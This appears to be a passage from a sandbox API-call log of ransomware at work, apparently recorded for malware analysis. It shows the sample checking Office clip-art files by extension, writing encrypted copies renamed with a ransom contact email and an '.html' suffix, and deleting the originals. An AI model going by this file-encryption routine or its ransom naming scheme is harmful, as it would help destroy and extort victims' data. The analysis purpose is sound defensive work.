	[0188.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.637] lstrlenW (lpString=".zip") returned 4
	[0188.637] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.637] lstrlenW (lpString=".rar") returned 4
	[0188.637] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.637] lstrlenW (lpString=".bz2") returned 4
	[0188.637] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.637] lstrlenW (lpString=".7z") returned 3
	[0188.637] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.637] lstrlenW (lpString=".dbf") returned 4
	[0188.638] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.638] lstrlenW (lpString=".1cd") returned 4
	[0188.638] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.638] lstrlenW (lpString=".jpg") returned 4
	[0188.638] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.638] lstrlenW (lpString=".doc") returned 4
	[0188.638] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.638] lstrlenW (lpString=".docx") returned 5
	[0188.638] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0188.638] lstrlenW (lpString=".pdf") returned 4
	[0188.638] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.638] lstrlenW (lpString=".xls") returned 4
	[0188.638] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.638] lstrlenW (lpString=".xlsx") returned 5
	[0188.638] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0188.638] lstrlenW (lpString=".ppt") returned 4
	[0188.639] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.639] lstrlenW (lpString=".zip") returned 4
	[0188.639] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.639] lstrlenW (lpString=".rar") returned 4
	[0188.639] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.639] lstrlenW (lpString=".bz2") returned 4
	[0188.639] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.639] lstrlenW (lpString=".7z") returned 3
	[0188.639] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.639] lstrlenW (lpString=".dbf") returned 4
	[0188.639] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.639] lstrlenW (lpString=".1cd") returned 4
	[0188.639] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68
	[0188.639] lstrlenW (lpString=".jpg") returned 4
	[0188.639] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.639] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.639] lstrlenW (lpString="J0101863.BMP") returned 12
	[0188.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.640] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=32184) returned 1
	[0188.640] CloseHandle (hObject=0x5e8) returned 1
	[0188.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 0x220
	[0188.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.641] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.641] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0188.642] GetLastError () returned 0x0
	[0188.642] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.644] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.646] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.646] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.646] SetEndOfFile (hFile=0x5ec) returned 1
	[0188.646] CloseHandle (hObject=0x5ec) returned 1
	[0188.646] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.646] SetEndOfFile (hFile=0x5e8) returned 1
	[0188.650] CloseHandle (hObject=0x5e8) returned 1
	[0188.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101863.bmp")) returned 1
	[0188.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.651] lstrlenW (lpString=".doc") returned 4
	[0188.651] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.651] lstrlenW (lpString=".docx") returned 5
	[0188.651] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0188.651] lstrlenW (lpString=".pdf") returned 4
	[0188.651] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.651] lstrlenW (lpString=".xls") returned 4
	[0188.651] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.651] lstrlenW (lpString=".xlsx") returned 5
	[0188.651] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0188.651] lstrlenW (lpString=".ppt") returned 4
	[0188.651] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.651] lstrlenW (lpString=".zip") returned 4
	[0188.651] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString=".rar") returned 4
	[0188.652] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString=".bz2") returned 4
	[0188.652] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString=".7z") returned 3
	[0188.652] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.652] lstrlenW (lpString=".dbf") returned 4
	[0188.652] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.652] lstrlenW (lpString=".1cd") returned 4
	[0188.652] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.652] lstrlenW (lpString=".jpg") returned 4
	[0188.652] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.652] lstrlenW (lpString=".doc") returned 4
	[0188.652] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString=".docx") returned 5
	[0188.652] lstrcmpiW (lpString1=".docx", lpString2="3.BMP") returned -1
	[0188.652] lstrlenW (lpString=".pdf") returned 4
	[0188.652] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString=".xls") returned 4
	[0188.652] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString=".xlsx") returned 5
	[0188.652] lstrcmpiW (lpString1=".xlsx", lpString2="3.BMP") returned -1
	[0188.652] lstrlenW (lpString=".ppt") returned 4
	[0188.652] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.653] lstrlenW (lpString=".zip") returned 4
	[0188.653] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.653] lstrlenW (lpString=".rar") returned 4
	[0188.653] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.653] lstrlenW (lpString=".bz2") returned 4
	[0188.653] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.653] lstrlenW (lpString=".7z") returned 3
	[0188.653] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.653] lstrlenW (lpString=".dbf") returned 4
	[0188.653] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.653] lstrlenW (lpString=".1cd") returned 4
	[0188.653] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101863.BMP") returned 68
	[0188.653] lstrlenW (lpString=".jpg") returned 4
	[0188.653] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.653] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.653] lstrlenW (lpString="J0101864.BMP") returned 12
	[0188.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.654] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=31968) returned 1
	[0188.654] CloseHandle (hObject=0x5e8) returned 1
	[0188.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 0x220
	[0188.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.655] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.655] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0188.656] GetLastError () returned 0x0
	[0188.656] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x7ce0, lpOverlapped=0x0) returned 1
	[0188.661] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x7cf0, lpOverlapped=0x0) returned 1
	[0188.881] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.881] WriteFile (in: hFile=0x5ec, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.881] SetEndOfFile (hFile=0x5ec) returned 1
	[0188.881] CloseHandle (hObject=0x5ec) returned 1
	[0188.881] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.881] SetEndOfFile (hFile=0x5e8) returned 1
	[0188.885] CloseHandle (hObject=0x5e8) returned 1
	[0188.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101864.bmp")) returned 1
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.888] lstrlenW (lpString=".doc") returned 4
	[0188.888] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.888] lstrlenW (lpString=".docx") returned 5
	[0188.888] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0188.888] lstrlenW (lpString=".pdf") returned 4
	[0188.888] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.888] lstrlenW (lpString=".xls") returned 4
	[0188.888] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.888] lstrlenW (lpString=".xlsx") returned 5
	[0188.888] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0188.889] lstrlenW (lpString=".ppt") returned 4
	[0188.889] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.889] lstrlenW (lpString=".zip") returned 4
	[0188.889] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.889] lstrlenW (lpString=".rar") returned 4
	[0188.889] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.889] lstrlenW (lpString=".bz2") returned 4
	[0188.889] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.889] lstrlenW (lpString=".7z") returned 3
	[0188.889] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.889] lstrlenW (lpString=".dbf") returned 4
	[0188.889] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.889] lstrlenW (lpString=".1cd") returned 4
	[0188.889] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.889] lstrlenW (lpString=".jpg") returned 4
	[0188.889] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.889] lstrlenW (lpString=".doc") returned 4
	[0188.889] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.889] lstrlenW (lpString=".docx") returned 5
	[0188.889] lstrcmpiW (lpString1=".docx", lpString2="4.BMP") returned -1
	[0188.889] lstrlenW (lpString=".pdf") returned 4
	[0188.889] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.890] lstrlenW (lpString=".xls") returned 4
	[0188.890] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.890] lstrlenW (lpString=".xlsx") returned 5
	[0188.890] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0188.890] lstrlenW (lpString=".ppt") returned 4
	[0188.890] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.890] lstrlenW (lpString=".zip") returned 4
	[0188.890] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.890] lstrlenW (lpString=".rar") returned 4
	[0188.890] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.890] lstrlenW (lpString=".bz2") returned 4
	[0188.890] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.890] lstrlenW (lpString=".7z") returned 3
	[0188.890] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.890] lstrlenW (lpString=".dbf") returned 4
	[0188.890] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.890] lstrlenW (lpString=".1cd") returned 4
	[0188.890] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0188.890] lstrlenW (lpString=".jpg") returned 4
	[0188.890] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.891] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0188.891] lstrlenW (lpString="J0101980.WMF") returned 12
	[0188.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.892] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=16104) returned 1
	[0188.892] CloseHandle (hObject=0x5e8) returned 1
	[0188.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220
	[0188.892] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0188.892] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.893] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0189.280] GetLastError () returned 0x0
	[0189.280] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3ee8, lpOverlapped=0x0) returned 1
	[0189.283] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3ef0, lpOverlapped=0x0) returned 1
	[0189.284] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0189.284] WriteFile (in: hFile=0x5c8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0189.284] SetEndOfFile (hFile=0x5c8) returned 1
	[0189.284] CloseHandle (hObject=0x5c8) returned 1
	[0189.284] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0189.284] SetEndOfFile (hFile=0x5e8) returned 1
	[0189.288] CloseHandle (hObject=0x5e8) returned 1
	[0189.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1
	[0189.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68
	[0189.292] lstrlenW (lpString=".doc") returned 4
	[0189.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0189.292] lstrlenW (lpString=".docx") returned 5
	[0189.292] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0189.292] lstrlenW (lpString=".pdf") returned 4
	[0189.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0189.292] lstrlenW (lpString=".xls") returned 4
	[0189.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0189.293] lstrlenW (lpString=".xlsx") returned 5
	[0189.293] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0189.293] lstrlenW (lpString=".ppt") returned 4
